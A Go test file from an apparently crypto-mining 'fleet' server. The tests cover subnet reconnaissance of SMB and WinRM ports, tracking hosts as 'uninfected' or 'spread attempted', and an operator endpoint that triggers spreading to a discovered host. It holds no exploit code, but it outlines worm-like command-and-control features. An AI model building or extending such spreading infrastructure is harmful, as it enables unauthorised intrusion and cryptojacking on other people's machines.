AetherForge/server/internal/api/subnet_discovery_test.go

package api

import (
	"bytes"
	"encoding/json"
	"net/http"
	"net/http/httptest"
	"strings"
	"testing"
	"time"

	"crypto-miner-server/internal/db"
	"crypto-miner-server/internal/models"
	"crypto-miner-server/internal/pool"

	"github.com/gorilla/websocket"
)

func dialDashboardWS(t *testing.T, hub *WSHub) (*websocket.Conn, *httptest.Server) {
	t.Helper()
	resetWSAuthUsers(t, testAuthUser, testAuthPass)
	srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
	wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
	conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
	if err != nil {
		srv.Close()
		t.Fatalf("dial dashboard: %v", err)
	}
	return conn, srv
}

func TestIngestSubnetReconReportUpsertsAndBroadcasts(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer database.Close()
	hub := NewWSHub(database)
	dashConn, dashSrv := dialDashboardWS(t, hub)
	defer dashSrv.Close()
	defer dashConn.Close()
	ports, _ := json.Marshal([]int{445, 5985})
	payload, _ := json.Marshal(map[string]interface{}{
		"subnet_prefix": "10.5.0", "agent_id": "reporter-1",
		"hosts": []map[string]interface{}{{
			"ip": "10.5.0.88", "open_ports": json.RawMessage(ports), "http_title": "File Server",
			"status": db.SubnetDiscoveryUninfected, "reporter_agent_id": "reporter-1",
		}},
	})
	hub.ingestSubnetReconReport("reporter-1", payload)
	row, err := database.GetSubnetDiscovery("10.5.0.88")
	if err != nil {
		t.Fatal(err)
	}
	if row.SubnetPrefix != "10.5.0" || row.Status != db.SubnetDiscoveryUninfected {
		t.Fatalf("row=%+v", row)
	}
	deadline := time.Now().Add(3 * time.Second)
	for time.Now().Before(deadline) {
		var msg Message
		if err := dashConn.ReadJSON(&msg); err != nil {
			t.Fatal(err)
		}
		if msg.Type == "subnet_discovery_update" {
			return
		}
	}
	t.Fatal("timed out waiting for subnet_discovery_update")
}

func TestGetDiscoveredHostsAPI(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer database.Close()
	ports, _ := json.Marshal([]int{22})
	if _, err := database.UpsertSubnetDiscovery(db.SubnetDiscoveryRow{
		IP: "10.6.0.5", OpenPorts: ports, SubnetPrefix: "10.6.0", Status: db.SubnetDiscoveryUninfected,
	}); err != nil {
		t.Fatal(err)
	}
	handler := NewSubnetDiscoveryHandler(database, nil)
	req := httptest.NewRequest(http.MethodGet, "/recon/discovered-hosts?subnet=10.6.0&status=uninfected", nil)
	rec := httptest.NewRecorder()
	handler.GetDiscoveredHosts(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("status=%d", rec.Code)
	}
}

func TestAuthSubnetReconPolicyPushed(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	t.Cleanup(func() { _ = database.Close() })
	_ = database.UpsertAgent(&models.Agent{ID: "peer-1", Name: "peer", IP: "10.7.0.2", Status: "online"})
	hub := NewWSHub(database)
	hub.SetServerPolicy(ServerPolicy{SubnetReconEnabled: true, SubnetReconIntervalMin: 15})
	conn, _ := dialAgentWS(t, hub)
	resp := authAgentConn(t, conn, map[string]interface{}{
		"agent_id": "recon-agent", "hostname": "host", "platform": "windows", "version": "test", "ip": "10.7.0.9",
	})
	var body map[string]interface{}
	_ = json.Unmarshal(resp.Payload, &body)
	if body["subnet_recon_enabled"] != true {
		t.Fatalf("policy=%#v", body)
	}
}

func TestMarkSubnetDiscoveryAgentOnlineOnAuth(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	t.Cleanup(func() { _ = database.Close() })
	ports, _ := json.Marshal([]int{445})
	_, _ = database.UpsertSubnetDiscovery(db.SubnetDiscoveryRow{IP: "10.8.0.40", OpenPorts: ports, SubnetPrefix: "10.8.0", Status: db.SubnetDiscoveryUninfected})
	hub := NewWSHub(database)
	conn, _ := dialAgentWS(t, hub)
	_ = authAgentConn(t, conn, map[string]interface{}{
		"agent_id": "online-agent", "hostname": "host", "platform": "windows", "version": "test", "ip": "10.8.0.40",
	})
	row, _ := database.GetSubnetDiscovery("10.8.0.40")
	if row.Status != db.SubnetDiscoveryAgentOnline {
		t.Fatalf("got %s", row.Status)
	}
}

func TestPostSpreadToHostRecordsOathAndSpreadAttempted(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	t.Cleanup(func() { _ = database.Close() })
	ports, _ := json.Marshal([]int{5985})
	_, _ = database.UpsertSubnetDiscovery(db.SubnetDiscoveryRow{IP: "10.1.2.99", OpenPorts: ports, SubnetPrefix: "10.1.2", Status: db.SubnetDiscoveryUninfected})
	_ = database.UpsertAgent(&models.Agent{ID: "seed-1", Name: "seed", IP: "10.1.2.10", Status: "online"})
	hub := NewWSHub(database)
	fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, t.TempDir())
	body, _ := json.Marshal(map[string]string{"host": "10.1.2.99", "finding": "WinRM"})
	req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body))
	req = withAuthUser(req, "operator")
	rec := httptest.NewRecorder()
	fh.PostSpreadToHost(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("status %d", rec.Code)
	}
	row, _ := database.GetSubnetDiscovery("10.1.2.99")
	if row.Status != db.SubnetDiscoverySpreadAttempted {
		t.Fatalf("status=%s", row.Status)
	}
	rows, _ := database.ListOathLedger(10)
	for _, e := range rows {
		if e.ActionType == db.OathSpreadDiscoveredHost {
			return
		}
	}
	t.Fatal("oath missing")
}